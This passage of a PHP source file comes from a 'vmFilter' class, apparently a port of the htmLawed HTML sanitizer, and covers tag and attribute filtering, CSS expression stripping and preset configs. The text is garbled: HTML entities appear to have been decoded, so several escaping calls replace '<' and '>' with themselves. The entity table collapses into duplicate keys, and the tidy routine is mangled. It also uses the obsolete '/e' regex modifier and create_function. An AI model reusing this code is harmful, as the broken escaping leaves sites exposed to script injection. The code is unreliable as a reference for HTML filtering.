= preg_replace('`(?<=/)\./`', '', $m[2]. $p); while(preg_match('`(?<=/)([^/]{3,}|[^/.]+?|\.[^/.]|[^/.]\.)/\.\./`', $p)){ $p = preg_replace('`(?<=/)([^/]{3,}|[^/.]+?|\.[^/.]|[^/.]\.)/\.\./`', '', $p); } $p = $m[1]. $p; } } } return "{$b}{$p}{$a}"; // eof } public static function hl_regex($p){ // ?regex if(empty($p)){ return 0; } if($t = ini_get('track_errors')){ $o = isset($php_errormsg) ? $php_errormsg : null; } else{ini_set('track_errors', 1); } unset($php_errormsg); if(($d = ini_get('display_errors'))){ ini_set('display_errors', 0); } preg_match($p, ''); if($d){ ini_set('display_errors', 1); } $r = isset($php_errormsg) ? 0 : 1; if($t){ $php_errormsg = isset($o) ? $o : null; } else{ini_set('track_errors', 0); } return $r; // eof } public static function hl_spec($t){ // final $spec $s = array(); $t = str_replace(array("\t", "\r", "\n", ' '), '', preg_replace('/"(?>(`.|[^"])*)"/sme', 'substr(str_replace(array(";", "|", "~", " ", ",", "/", "(", ")", \'`"\'), array("\x01", "\x02", "\x03", "\x04", "\x05", "\x06", "\x07", "\x08", "\""), "$0"), 1, -1)', trim($t))); for($i = count(($t = explode(';', $t))); --$i>=0;){ $w = $t[$i]; if(empty($w) or ($e = strpos($w, '=')) === false or !strlen(($a = substr($w, $e+1)))){ continue; } $y = $n = array(); foreach(explode(',', $a) as $v){ if(!preg_match('`^([a-z:\-\*]+)(?:\((.*?)\))?`i', $v, $m)){ continue; } if(($x = strtolower($m[1])) == '-*'){ $n['*'] = 1; continue; } if($x[0] == '-'){ $n[substr($x, 1)] = 1; continue; } if(!isset($m[2])){ $y[$x] = 1; continue; } foreach(explode('/', $m[2]) as $m){ if(empty($m) or ($p = strpos($m, '=')) == 0 or $p < 5){ $y[$x] = 1; continue; } $y[$x][strtolower(substr($m, 0, $p))] = str_replace(array("\x01", "\x02", "\x03", "\x04", "\x05", "\x06", "\x07", "\x08"), array(";", "|", "~", " ", ",", "/", "(", ")"), substr($m, $p+1)); } if(isset($y[$x]['match']) && !vmFilter::hl_regex($y[$x]['match'])){ unset($y[$x]['match']); } if(isset($y[$x]['nomatch']) && !vmFilter::hl_regex($y[$x]['nomatch'])){ unset($y[$x]['nomatch']); } } if(!count($y) && !count($n)){ continue; } foreach(explode(',', substr($w, 0, $e)) as $v){ if(!strlen(($v = strtolower($v)))){ continue; } if(count($y)){ $s[$v] = $y; } if(count($n)){ $s[$v]['n'] = $n; } } } return $s; // eof } public static function hl_tag($t){ // tag/attribute handler $C = vmFilter::$C; $t = $t[0]; // invalid < > if($t == '< '){ return '< '; } if($t == '>'){ return '>'; } if(!preg_match('`^<(/?)([a-zA-Z][a-zA-Z1-6]*)([^>]*?)\s?>$`m', $t, $m)){ return str_replace(array('<', '>'), array('<', '>'), $t); }elseif(!isset($C['elements'][($e = strtolower($m[2]))])){ return (($C['keep_bad']%2) ? str_replace(array('<', '>'), array('<', '>'), $t) : ''); } // attr string $a = str_replace(array("\n", "\r", "\t"), ' ', trim($m[3])); // tag transform static $eD = array('applet'=>1, 'center'=>1, 'dir'=>1, 'embed'=>1, 'font'=>1, 'isindex'=>1, 'menu'=>1, 's'=>1, 'strike'=>1, 'u'=>1); // Deprecated if($C['make_tag_strict'] && isset($eD[$e])){ $trt = vmFilter::hl_tag2($e, $a, $C['make_tag_strict']); if(!$e){ return (($C['keep_bad']%2) ? str_replace(array('<', '>'), array('<', '>'), $t) : ''); } } // close tag static $eE = array('area'=>1, 'br'=>1, 'col'=>1, 'embed'=>1, 'hr'=>1, 'img'=>1, 'input'=>1, 'isindex'=>1, 'param'=>1); // Empty ele if(!empty($m[1])){ return (!isset($eE[$e]) ? "" : (($C['keep_bad'])%2 ? str_replace(array('<', '>'), array('<', '>'), $t) : '')); } // open tag & attr static $aN = array('abbr'=>array('td'=>1, 'th'=>1), 'accept-charset'=>array('form'=>1), 'accept'=>array('form'=>1, 'input'=>1), 'accesskey'=>array('a'=>1, 'area'=>1, 'button'=>1, 'input'=>1, 'label'=>1, 'legend'=>1, 'textarea'=>1), 'action'=>array('form'=>1), 'align'=>array('caption'=>1, 'embed'=>1, 'applet'=>1, 'iframe'=>1, 'img'=>1, 'input'=>1, 'object'=>1, 'legend'=>1, 'table'=>1, 'hr'=>1, 'div'=>1, 'h1'=>1, 'h2'=>1, 'h3'=>1, 'h4'=>1, 'h5'=>1, 'h6'=>1, 'p'=>1, 'col'=>1, 'colgroup'=>1, 'tbody'=>1, 'td'=>1, 'tfoot'=>1, 'th'=>1, 'thead'=>1, 'tr'=>1), 'alt'=>array('applet'=>1, 'area'=>1, 'img'=>1, 'input'=>1), 'archive'=>array('applet'=>1, 'object'=>1), 'axis'=>array('td'=>1, 'th'=>1), 'bgcolor'=>array('embed'=>1, 'table'=>1, 'tr'=>1, 'td'=>1, 'th'=>1), 'border'=>array('table'=>1, 'img'=>1, 'object'=>1), 'bordercolor'=>array('table'=>1, 'td'=>1, 'tr'=>1), 'cellpadding'=>array('table'=>1), 'cellspacing'=>array('table'=>1), 'char'=>array('col'=>1, 'colgroup'=>1, 'tbody'=>1, 'td'=>1, 'tfoot'=>1, 'th'=>1, 'thead'=>1, 'tr'=>1), 'charoff'=>array('col'=>1, 'colgroup'=>1, 'tbody'=>1, 'td'=>1, 'tfoot'=>1, 'th'=>1, 'thead'=>1, 'tr'=>1), 'charset'=>array('a'=>1, 'script'=>1), 'checked'=>array('input'=>1), 'cite'=>array('blockquote'=>1, 'q'=>1, 'del'=>1, 'ins'=>1), 'classid'=>array('object'=>1), 'clear'=>array('br'=>1), 'code'=>array('applet'=>1), 'codebase'=>array('object'=>1, 'applet'=>1), 'codetype'=>array('object'=>1), 'color'=>array('font'=>1), 'cols'=>array('textarea'=>1), 'colspan'=>array('td'=>1, 'th'=>1), 'compact'=>array('dir'=>1, 'dl'=>1, 'menu'=>1, 'ol'=>1, 'ul'=>1), 'coords'=>array('area'=>1, 'a'=>1), 'data'=>array('object'=>1), 'datetime'=>array('del'=>1, 'ins'=>1), 'declare'=>array('object'=>1), 'defer'=>array('script'=>1), 'dir'=>array('bdo'=>1), 'disabled'=>array('button'=>1, 'input'=>1, 'optgroup'=>1, 'option'=>1, 'select'=>1, 'textarea'=>1), 'enctype'=>array('form'=>1), 'face'=>array('font'=>1), 'for'=>array('label'=>1), 'frame'=>array('table'=>1), 'frameborder'=>array('iframe'=>1), 'headers'=>array('td'=>1, 'th'=>1), 'height'=>array('embed'=>1, 'iframe'=>1, 'td'=>1, 'th'=>1, 'img'=>1, 'object'=>1, 'applet'=>1), 'href'=>array('a'=>1, 'area'=>1), 'hreflang'=>array('a'=>1), 'hspace'=>array('applet'=>1, 'img'=>1, 'object'=>1), 'ismap'=>array('img'=>1, 'input'=>1), 'label'=>array('option'=>1, 'optgroup'=>1), 'language'=>array('script'=>1), 'longdesc'=>array('img'=>1, 'iframe'=>1), 'marginheight'=>array('iframe'=>1), 'marginwidth'=>array('iframe'=>1), 'maxlength'=>array('input'=>1), 'method'=>array('form'=>1), 'model'=>array('embed'=>1), 'multiple'=>array('select'=>1), 'name'=>array('button'=>1, 'embed'=>1, 'textarea'=>1, 'applet'=>1, 'select'=>1, 'form'=>1, 'iframe'=>1, 'img'=>1, 'a'=>1, 'input'=>1, 'object'=>1, 'map'=>1, 'param'=>1), 'nohref'=>array('area'=>1), 'noshade'=>array('hr'=>1), 'nowrap'=>array('td'=>1, 'th'=>1), 'object'=>array('applet'=>1), 'onblur'=>array('a'=>1, 'area'=>1, 'button'=>1, 'input'=>1, 'label'=>1, 'select'=>1, 'textarea'=>1), 'onchange'=>array('input'=>1, 'select'=>1, 'textarea'=>1), 'onfocus'=>array('a'=>1, 'area'=>1, 'button'=>1, 'input'=>1, 'label'=>1, 'select'=>1, 'textarea'=>1), 'onreset'=>array('form'=>1), 'onselect'=>array('input'=>1, 'textarea'=>1), 'onsubmit'=>array('form'=>1), 'pluginspage'=>array('embed'=>1), 'pluginurl'=>array('embed'=>1), 'prompt'=>array('isindex'=>1), 'readonly'=>array('textarea'=>1, 'input'=>1), 'rel'=>array('a'=>1), 'rev'=>array('a'=>1), 'rows'=>array('textarea'=>1), 'rowspan'=>array('td'=>1, 'th'=>1), 'rules'=>array('table'=>1), 'scope'=>array('td'=>1, 'th'=>1), 'scrolling'=>array('iframe'=>1), 'selected'=>array('option'=>1), 'shape'=>array('area'=>1, 'a'=>1), 'size'=>array('hr'=>1, 'font'=>1, 'input'=>1, 'select'=>1), 'span'=>array('col'=>1, 'colgroup'=>1), 'src'=>array('embed'=>1, 'script'=>1, 'input'=>1, 'iframe'=>1, 'img'=>1), 'standby'=>array('object'=>1), 'start'=>array('ol'=>1), 'summary'=>array('table'=>1), 'tabindex'=>array('a'=>1, 'area'=>1, 'button'=>1, 'input'=>1, 'object'=>1, 'select'=>1, 'textarea'=>1), 'target'=>array('a'=>1, 'area'=>1, 'form'=>1), 'type'=>array('a'=>1, 'embed'=>1, 'object'=>1, 'param'=>1, 'script'=>1, 'input'=>1, 'li'=>1, 'ol'=>1, 'ul'=>1, 'button'=>1), 'usemap'=>array('img'=>1, 'input'=>1, 'object'=>1), 'valign'=>array('col'=>1, 'colgroup'=>1, 'tbody'=>1, 'td'=>1, 'tfoot'=>1, 'th'=>1, 'thead'=>1, 'tr'=>1), 'value'=>array('input'=>1, 'option'=>1, 'param'=>1, 'button'=>1, 'li'=>1), 'valuetype'=>array('param'=>1), 'vspace'=>array('applet'=>1, 'img'=>1, 'object'=>1), 'width'=>array('embed'=>1, 'hr'=>1, 'iframe'=>1, 'img'=>1, 'object'=>1, 'table'=>1, 'td'=>1, 'th'=>1, 'applet'=>1, 'col'=>1, 'colgroup'=>1, 'pre'=>1), 'wmode'=>array('embed'=>1), 'xml:space'=>array('pre'=>1, 'script'=>1, 'style'=>1)); // Ele-specific static $aNE = array('checked'=>1, 'compact'=>1, 'declare'=>1, 'defer'=>1, 'disabled'=>1, 'ismap'=>1, 'multiple'=>1, 'nohref'=>1, 'noresize'=>1, 'noshade'=>1, 'nowrap'=>1, 'readonly'=>1, 'selected'=>1); // Empty static $aNP = array('action'=>1, 'cite'=>1, 'classid'=>1, 'codebase'=>1, 'data'=>1, 'href'=>1, 'longdesc'=>1, 'model'=>1, 'pluginspage'=>1, 'pluginurl'=>1, 'usemap'=>1); // Need scheme check; excludes style, on* & src static $aNU = array('class'=>array('param'=>1, 'script'=>1), 'dir'=>array('applet'=>1, 'bdo'=>1, 'br'=>1, 'iframe'=>1, 'param'=>1, 'script'=>1), 'id'=>array('script'=>1), 'lang'=>array('applet'=>1, 'br'=>1, 'iframe'=>1, 'param'=>1, 'script'=>1), 'xml:lang'=>array('applet'=>1, 'br'=>1, 'iframe'=>1, 'param'=>1, 'script'=>1), 'onclick'=>array('applet'=>1, 'bdo'=>1, 'br'=>1, 'font'=>1, 'iframe'=>1, 'isindex'=>1, 'param'=>1, 'script'=>1), 'ondblclick'=>array('applet'=>1, 'bdo'=>1, 'br'=>1, 'font'=>1, 'iframe'=>1, 'isindex'=>1, 'param'=>1, 'script'=>1), 'onkeydown'=>array('applet'=>1, 'bdo'=>1, 'br'=>1, 'font'=>1, 'iframe'=>1, 'isindex'=>1, 'param'=>1, 'script'=>1), 'onkeypress'=>array('applet'=>1, 'bdo'=>1, 'br'=>1, 'font'=>1, 'iframe'=>1, 'isindex'=>1, 'param'=>1, 'script'=>1), 'onkeyup'=>array('applet'=>1, 'bdo'=>1, 'br'=>1, 'font'=>1, 'iframe'=>1, 'isindex'=>1, 'param'=>1, 'script'=>1), 'onmousedown'=>array('applet'=>1, 'bdo'=>1, 'br'=>1, 'font'=>1, 'iframe'=>1, 'isindex'=>1, 'param'=>1, 'script'=>1), 'onmousemove'=>array('applet'=>1, 'bdo'=>1, 'br'=>1, 'font'=>1, 'iframe'=>1, 'isindex'=>1, 'param'=>1, 'script'=>1), 'onmouseout'=>array('applet'=>1, 'bdo'=>1, 'br'=>1, 'font'=>1, 'iframe'=>1, 'isindex'=>1, 'param'=>1, 'script'=>1), 'onmouseover'=>array('applet'=>1, 'bdo'=>1, 'br'=>1, 'font'=>1, 'iframe'=>1, 'isindex'=>1, 'param'=>1, 'script'=>1), 'onmouseup'=>array('applet'=>1, 'bdo'=>1, 'br'=>1, 'font'=>1, 'iframe'=>1, 'isindex'=>1, 'param'=>1, 'script'=>1), 'style'=>array('param'=>1, 'script'=>1), 'title'=>array('param'=>1, 'script'=>1)); // Univ & exceptions if($C['lc_std_val']){ // predef attr vals for $eAL & $aNE ele static $aNL = array('all'=>1, 'baseline'=>1, 'bottom'=>1, 'button'=>1, 'center'=>1, 'char'=>1, 'checkbox'=>1, 'circle'=>1, 'col'=>1, 'colgroup'=>1, 'cols'=>1, 'data'=>1, 'default'=>1, 'file'=>1, 'get'=>1, 'groups'=>1, 'hidden'=>1, 'image'=>1, 'justify'=>1, 'left'=>1, 'ltr'=>1, 'middle'=>1, 'none'=>1, 'object'=>1, 'password'=>1, 'poly'=>1, 'post'=>1, 'preserve'=>1, 'radio'=>1, 'rect'=>1, 'ref'=>1, 'reset'=>1, 'right'=>1, 'row'=>1, 'rowgroup'=>1, 'rows'=>1, 'rtl'=>1, 'submit'=>1, 'text'=>1, 'top'=>1); static $eAL = array('a'=>1, 'area'=>1, 'bdo'=>1, 'button'=>1, 'col'=>1, 'form'=>1, 'img'=>1, 'input'=>1, 'object'=>1, 'optgroup'=>1, 'option'=>1, 'param'=>1, 'script'=>1, 'select'=>1, 'table'=>1, 'td'=>1, 'tfoot'=>1, 'th'=>1, 'thead'=>1, 'tr'=>1, 'xml:space'=>1); $lcase = isset($eAL[$e]) ? 1 : 0; } $depTr = 0; if($C['no_deprecated_attr']){ // dep attr:applicable ele static $aND = array('align'=>array('caption'=>1, 'div'=>1, 'h1'=>1, 'h2'=>1, 'h3'=>1, 'h4'=>1, 'h5'=>1, 'h6'=>1, 'hr'=>1, 'img'=>1, 'input'=>1, 'legend'=>1, 'object'=>1, 'p'=>1, 'table'=>1), 'bgcolor'=>array('table'=>1, 'td'=>1, 'th'=>1, 'tr'=>1), 'border'=>array('img'=>1, 'object'=>1), 'bordercolor'=>array('table'=>1, 'td'=>1, 'tr'=>1), 'clear'=>array('br'=>1), 'compact'=>array('dl'=>1, 'ol'=>1, 'ul'=>1), 'height'=>array('td'=>1, 'th'=>1), 'hspace'=>array('img'=>1, 'object'=>1), 'language'=>array('script'=>1), 'name'=>array('a'=>1, 'form'=>1, 'iframe'=>1, 'img'=>1, 'map'=>1), 'noshade'=>array('hr'=>1), 'nowrap'=>array('td'=>1, 'th'=>1), 'size'=>array('hr'=>1), 'start'=>array('ol'=>1), 'type'=>array('li'=>1, 'ol'=>1, 'ul'=>1), 'value'=>array('li'=>1), 'vspace'=>array('img'=>1, 'object'=>1), 'width'=>array('hr'=>1, 'pre'=>1, 'td'=>1, 'th'=>1)); static $eAD = array('a'=>1, 'br'=>1, 'caption'=>1, 'div'=>1, 'dl'=>1, 'form'=>1, 'h1'=>1, 'h2'=>1, 'h3'=>1, 'h4'=>1, 'h5'=>1, 'h6'=>1, 'hr'=>1, 'iframe'=>1, 'img'=>1, 'input'=>1, 'legend'=>1, 'li'=>1, 'map'=>1, 'object'=>1, 'ol'=>1, 'p'=>1, 'pre'=>1, 'script'=>1, 'table'=>1, 'td'=>1, 'th'=>1, 'tr'=>1, 'ul'=>1); $depTr = isset($eAD[$e]) ? 1 : 0; } // attr name-vals if(strpos($a, "\x01") !== false){ $a = preg_replace('`\x01[^\x01]*\x01`', '', $a); } // No comment/CDATA sec $mode = 0; $a = trim($a, ' /'); $aA = array(); while(strlen($a)){ $w = 0; switch($mode){ case 0: // Name if(preg_match('`^[a-zA-Z][\-a-zA-Z:]+`', $a, $m)){ $nm = strtolower($m[0]); $w = $mode = 1; $a = ltrim(substr_replace($a, '', 0, strlen($m[0]))); } break; case 1: if($a[0] == '='){ // = $w = 1; $mode = 2; $a = ltrim($a, '= '); }else{ // No val $w = 1; $mode = 0; $a = ltrim($a); $aA[$nm] = ''; } break; case 2: // Val if(preg_match('`^"[^"]*"`', $a, $m) or preg_match("`^'[^']*'`", $a, $m) or preg_match("`^\s*[^\s\"']+`", $a, $m)){ $m = $m[0]; $w = 1; $mode = 0; $a = ltrim(substr_replace($a, '', 0, strlen($m))); $aA[$nm] = trim(($m[0] == '"' or $m[0] == '\'') ? substr($m, 1, -1) : $m); } break; } if($w == 0){ // Parse errs, deal with space, " & ' $a = preg_replace('`^(?:"[^"]*("|$)|\'[^\']*(\'|$)|\S)*\s*`', '', $a); $mode = 0; } } if($mode == 1){ $aA[$nm] = ''; } // clean attrs $S = vmFilter::$S; $rl = isset($S[$e]) ? $S[$e] : array(); $a = array(); $nfr = 0; foreach($aA as $k=>$v){ if(((isset($C['deny_attribute']['*']) ? isset($C['deny_attribute'][$k]) : !isset($C['deny_attribute'][$k])) or isset($rl[$k])) && ((!isset($rl['n'][$k]) && !isset($rl['n']['*'])) or isset($rl[$k])) && (isset($aN[$k][$e]) or (isset($aNU[$k]) && !isset($aNU[$k][$e])))){ if(isset($aNE[$k])){ $v = $k; } elseif(!empty($lcase) && (($e != 'button' or $e != 'input') or $k == 'type')){ // Rather loose but ?not cause issues $v = (isset($aNL[($v2 = strtolower($v))])) ? $v2 : $v; } if($k == 'style' && !$C['style_pass']){ if(false !== strpos($v, '&#')){ static $sC = array(' '=>' ', ' '=>' ', 'E'=>'e', 'E'=>'e', 'e'=>'e', 'e'=>'e', 'X'=>'x', 'X'=>'x', 'x'=>'x', 'x'=>'x', 'P'=>'p', 'P'=>'p', 'p'=>'p', 'p'=>'p', 'S'=>'s', 'S'=>'s', 's'=>'s', 's'=>'s', 'I'=>'i', 'I'=>'i', 'i'=>'i', 'i'=>'i', 'O'=>'o', 'O'=>'o', 'o'=>'o', 'o'=>'o', 'N'=>'n', 'N'=>'n', 'n'=>'n', 'n'=>'n', 'U'=>'u', 'U'=>'u', 'u'=>'u', 'u'=>'u', 'R'=>'r', 'R'=>'r', 'r'=>'r', 'r'=>'r', 'L'=>'l', 'L'=>'l', 'l'=>'l', 'l'=>'l', '('=>'(', '('=>'(', ')'=>')', ')'=>')', ' '=>':', ' '=>':', '"'=>'"', '"'=>'"', '''=>"'", '''=>"'", '/'=>'/', '/'=>'/', '*'=>'*', '*'=>'*', '\'=>'\\', '\'=>'\\'); $v = strtr($v, $sC); } $v = preg_replace_callback('`(url(?:\()(?: )*(?:\'|"|&(?:quot|apos);)?)(.+?)((?:\'|"|&(?:quot|apos);)?(?: )*(?:\)))`iS', 'vmFilter::hl_prot', $v); $v = !$C['css_expression'] ? preg_replace('`expression`i', ' ', preg_replace('`\\\\\S|(/|(%2f))(\*|(%2a))`i', ' ', $v)) : $v; }elseif(isset($aNP[$k]) or strpos($k, 'src') !== false or $k[0] == 'o'){ $v = str_replace("\xad", ' ', (strpos($v, '&') !== false ? str_replace(array('­', '­', '­'), ' ', $v) : $v)); $v = vmFilter::hl_prot($v, $k); if($k == 'href'){ // X-spam if($C['anti_mail_spam'] && strpos($v, 'mailto:') === 0){ $v = str_replace('@', htmlspecialchars($C['anti_mail_spam']), $v); }elseif($C['anti_link_spam']){ $r1 = $C['anti_link_spam'][1]; if(!empty($r1) && preg_match($r1, $v)){ continue; } $r0 = $C['anti_link_spam'][0]; if(!empty($r0) && preg_match($r0, $v)){ if(isset($a['rel'])){ if(!preg_match('`\bnofollow\b`i', $a['rel'])){ $a['rel'] .= ' nofollow'; } }elseif(isset($aA['rel'])){ if(!preg_match('`\bnofollow\b`i', $aA['rel'])){ $nfr = 1; } }else{$a['rel'] = 'nofollow'; } } } } } if(isset($rl[$k]) && is_array($rl[$k]) && ($v = vmFilter::hl_attrval($v, $rl[$k])) === 0){ continue; } $a[$k] = str_replace('"', '"', $v); } } if($nfr){ $a['rel'] = isset($a['rel']) ? $a['rel']. ' nofollow' : 'nofollow'; } // rqd attr static $eAR = array('area'=>array('alt'=>'area'), 'bdo'=>array('dir'=>'ltr'), 'form'=>array('action'=>''), 'img'=>array('src'=>'', 'alt'=>'image'), 'map'=>array('name'=>''), 'optgroup'=>array('label'=>''), 'param'=>array('name'=>''), 'script'=>array('type'=>'text/javascript'), 'textarea'=>array('rows'=>'10', 'cols'=>'50')); if(isset($eAR[$e])){ foreach($eAR[$e] as $k=>$v){ if(!isset($a[$k])){ $a[$k] = isset($v[0]) ? $v : $k; } } } // depr attrs if($depTr){ $c = array(); foreach($a as $k=>$v){ if($k == 'style' or !isset($aND[$k][$e])){ continue; } if($k == 'align'){ unset($a['align']); if($e == 'img' && ($v == 'left' or $v == 'right')){ $c[] = 'float: '. $v; } elseif(($e == 'div' or $e == 'table') && $v == 'center'){ $c[] = 'margin: auto'; } else{$c[] = 'text-align: '. $v; } }elseif($k == 'bgcolor'){ unset($a['bgcolor']); $c[] = 'background-color: '. $v; }elseif($k == 'border'){ unset($a['border']); $c[] = "border: {$v}px"; }elseif($k == 'bordercolor'){ unset($a['bordercolor']); $c[] = 'border-color: '. $v; }elseif($k == 'clear'){ unset($a['clear']); $c[] = 'clear: '. ($v != 'all' ? $v : 'both'); }elseif($k == 'compact'){ unset($a['compact']); $c[] = 'font-size: 85%'; }elseif($k == 'height' or $k == 'width'){ unset($a[$k]); $c[] = $k. ': '. ($v[0] != '*' ? $v. (ctype_digit($v) ? 'px' : '') : 'auto'); }elseif($k == 'hspace'){ unset($a['hspace']); $c[] = "margin-left: {$v}px; margin-right: {$v}px"; }elseif($k == 'language' && !isset($a['type'])){ unset($a['language']); $a['type'] = 'text/'. strtolower($v); }elseif($k == 'name'){ if($C['no_deprecated_attr'] == 2 or ($e != 'a' && $e != 'map')){ unset($a['name']); } if(!isset($a['id']) && preg_match('`[a-zA-Z][a-zA-Z\d.:_\-]*`', $v)){ $a['id'] = $v; } }elseif($k == 'noshade'){ unset($a['noshade']); $c[] = 'border-style: none; border: 0; background-color: gray; color: gray'; }elseif($k == 'nowrap'){ unset($a['nowrap']); $c[] = 'white-space: nowrap'; }elseif($k == 'size'){ unset($a['size']); $c[] = 'size: '. $v. 'px'; }elseif($k == 'start' or $k == 'value'){ unset($a[$k]); }elseif($k == 'type'){ unset($a['type']); static $ol_type = array('i'=>'lower-roman', 'I'=>'upper-roman', 'a'=>'lower-latin', 'A'=>'upper-latin', '1'=>'decimal'); $c[] = 'list-style-type: '. (isset($ol_type[$v]) ? $ol_type[$v] : 'decimal'); }elseif($k == 'vspace'){ unset($a['vspace']); $c[] = "margin-top: {$v}px; margin-bottom: {$v}px"; } } if(count($c)){ $c = implode('; ', $c); $a['style'] = isset($a['style']) ? rtrim($a['style'], ' ;'). '; '. $c. ';': $c. ';'; } } // unique ID if($C['unique_ids'] && isset($a['id'])){ if(!preg_match('`^[A-Za-z][A-Za-z0-9_\-.:]*$`', ($id = $a['id'])) or (!is_null(vmFilter::$hl_Ids[$id]) && $C['unique_ids'] == 1)){ unset($a['id']); }else{ while(!is_null(vmFilter::$hl_Ids[$id])){ $id = $C['unique_ids']. $id; } vmFilter::$hl_Ids[($a['id'] = $id)] = 1; } } // xml:lang if($C['xml:lang'] && isset($a['lang'])){ $a['xml:lang'] = isset($a['xml:lang']) ? $a['xml:lang'] : $a['lang']; if($C['xml:lang'] == 2){ unset($a['lang']); } } // for transformed tag if(!empty($trt)){ $a['style'] = isset($a['style']) ? rtrim($a['style'], ' ;'). '; '. $trt : $trt; } // return with empty ele / if(empty($C['hook_tag'])){ $aA = ''; foreach($a as $k=>$v){ $aA .= " {$k}=\"{$v}\""; } return "<{$e}{$aA}". (isset($eE[$e]) ? ' /' : ''). '>'; } else{return $C['hook_tag']($e, $a); } // eof } public static function hl_tag2(&$e, &$a, $t=1){ // transform tag if($e == 'center'){ $e = 'div'; return 'text-align: center;'; } if($e == 'dir' or $e == 'menu'){ $e = 'ul'; return ''; } if($e == 's' or $e == 'strike'){ $e = 'span'; return 'text-decoration: line-through;'; } if($e == 'u'){ $e = 'span'; return 'text-decoration: underline;'; } static $fs = array('0'=>'xx-small', '1'=>'xx-small', '2'=>'small', '3'=>'medium', '4'=>'large', '5'=>'x-large', '6'=>'xx-large', '7'=>'300%', '-1'=>'smaller', '-2'=>'60%', '+1'=>'larger', '+2'=>'150%', '+3'=>'200%', '+4'=>'300%'); if($e == 'font'){ $a2 = ''; if(preg_match('`face\s*=\s*(\'|")([^=]+?)\\1`i', $a, $m) or preg_match('`face\s*=\s*([^"])(\S+)`i', $a, $m)){ $a2 .= ' font-family: '. str_replace('"', '\'', trim($m[2])). ';'; } if(preg_match('`color\s*=\s*(\'|")?(.+?)(\\1|\s|$)`i', $a, $m)){ $a2 .= ' color: '. trim($m[2]). ';'; } if(preg_match('`size\s*=\s*(\'|")?(.+?)(\\1|\s|$)`i', $a, $m) && isset($fs[($m = trim($m[2]))])){ $a2 .= ' font-size: '. $fs[$m]. ';'; } $e = 'span'; return ltrim($a2); } if($t == 2){ $e = 0; return 0; } return ''; // eof } public static function hl_tidy($t, $w, $p){ // Tidy/compact HTM if(strpos(' pre,script,textarea', "$p,")){ return $t; } $t = str_replace(' ]*(?)\s+`', '`\s+`', '`(<\w[^>]*(?) `'), array(' $1', ' ', '$1'), preg_replace_callback(array('`(<(!\[CDATA\[))(.+?)(\]\]>)`sm', '`(<(!--))(.+?)(-->)`sm', '`(<(pre|script|textarea)[^>]*?>)(.+?)()`sm'), create_function('$m', 'return $m[1]. str_replace(array("<", ">", "\n", "\r", "\t", " "), array("\x01", "\x02", "\x03", "\x04", "\x05", "\x07"), $m[3]). $m[4];'), $t))); if(($w = strtolower($w)) == -1){ return str_replace(array("\x01", "\x02", "\x03", "\x04", "\x05", "\x07"), array('<', '>', "\n", "\r", "\t", ' '), $t); } $s = strpos(" $w", 't') ? "\t" : ' '; $s = preg_match('`\d`', $w, $m) ? str_repeat($s, $m[0]) : str_repeat($s, ($s == "\t" ? 1 : 2)); $n = preg_match('`[ts]([1-9])`', $w, $m) ? $m[1] : 0; $a = array('br'=>1); $b = array('button'=>1, 'input'=>1, 'option'=>1); $c = array('caption'=>1, 'dd'=>1, 'dt'=>1, 'h1'=>1, 'h2'=>1, 'h3'=>1, 'h4'=>1, 'h5'=>1, 'h6'=>1, 'isindex'=>1, 'label'=>1, 'legend'=>1, 'li'=>1, 'object'=>1, 'p'=>1, 'pre'=>1, 'td'=>1, 'textarea'=>1, 'th'=>1); $d = array('address'=>1, 'blockquote'=>1, 'center'=>1, 'colgroup'=>1, 'dir'=>1, 'div'=>1, 'dl'=>1, 'fieldset'=>1, 'form'=>1, 'hr'=>1, 'iframe'=>1, 'map'=>1, 'menu'=>1, 'noscript'=>1, 'ol'=>1, 'optgroup'=>1, 'rbc'=>1, 'rtc'=>1, 'ruby'=>1, 'script'=>1, 'select'=>1, 'table'=>1, 'tfoot'=>1, 'thead'=>1, 'tr'=>1, 'ul'=>1); ob_start(); if(isset($d[$p])){ echo str_repeat($s, ++$n); } $t = explode('<', $t); echo ltrim(array_shift($t)); for($i=-1, $j=count($t); ++$i<$j;){ $r = ''; list($e, $r) = explode('>', $t[$i]); $x = $e[0] == '/' ? 0 : (substr($e, -1) == '/' ? 1 : ($e[0] != '!' ? 2 : -1)); $y = !$x ? ltrim($e, '/') : ($x > 0 ? substr($e, 0, strcspn($e, ' ')) : 0); $e = "<$e>"; if(isset($d[$y])){ if(!$x){ echo "\n", str_repeat($s, --$n), "$e\n", str_repeat($s, $n); } else{echo "\n", str_repeat($s, $n), "$e\n", str_repeat($s, ($x != 1 ? ++$n : $n)); } echo ltrim($r); continue; } $f = "\n". str_repeat($s, $n); if(isset($c[$y])){ if(!$x){ echo $e, $f, ltrim($r); } else{echo $f, $e, $r; } }elseif(isset($b[$y])){ echo $f, $e, $r; }elseif(isset($a[$y])){ echo $e, $f, ltrim($r); }elseif(!$y){ echo $f, $e, $f, ltrim($r); }else{echo $e, $r; } } $t = preg_replace('`[\n]\s*?[\n]+`', "\n", ob_get_contents()); ob_end_clean(); if(($l = strpos(" $w", 'r') ? (strpos(" $w", 'n') ? "\r\n" : "\r") : 0)){ $t = str_replace("\n", $l, $t); } return str_replace(array("\x01", "\x02", "\x03", "\x04", "\x05", "\x07"), array('<', '>', "\n", "\r", "\t", ' '), $t); // eof } public static function hl_version(){ // rel return '1.1.10'; // eof } public static function kses($t, $h, $p=array('http', 'https', 'ftp', 'news', 'nntp', 'telnet', 'gopher', 'mailto')){ // kses compat foreach($h as $k=>$v){ $h[$k]['n']['*'] = 1; } $C['cdata'] = $C['comment'] = $C['make_tag_strict'] = $C['no_deprecated_attr'] = $C['unique_ids'] = 0; $C['keep_bad'] = 1; $C['elements'] = count($h) ? strtolower(implode(',', array_keys($h))) : '-*'; $C['hook'] = 'vmFilter::kses_hook'; $C['schemes'] = '*:'. implode(',', $p); return vmFilter::$hl($t, $C, $h); // eof } public static function kses_hook($t, &$C, &$S){ // kses compat return $t; // eof } public static function loadconfig($c) { switch($c){ case 'safe': //Safest, allowing only safe HTML markup -- $config = array('safe'=>1); break; case 'allhtml': //Simplest, allowing all valid HTML markup except javascript: -- $config = array(); break; case 'admin': // Allowing all valid HTML markup including javascript: -- $config = array('schemes'=>'*:*'); break; case 'simple': //Allowing only safe HTML and the elements a, br, em, and strong -- $config = array('safe'=>1, 'elements'=>'br, em, h2, h3, h4, h5, h6, p, span, strong'); break; case 'no_js_flash': // Not allowing elements script and object -- $config = array('safe'=>1,'elements'=>'* -script -object'); break; case 'no_id_style': // Not allowing attributes id and style -- $config = array('safe'=>1,'deny_attribute'=>'id, style'); break; case 'only_link': // Permitting only attributes title and href -- $config = array('safe'=>1,'deny_attribute'=>'* -title 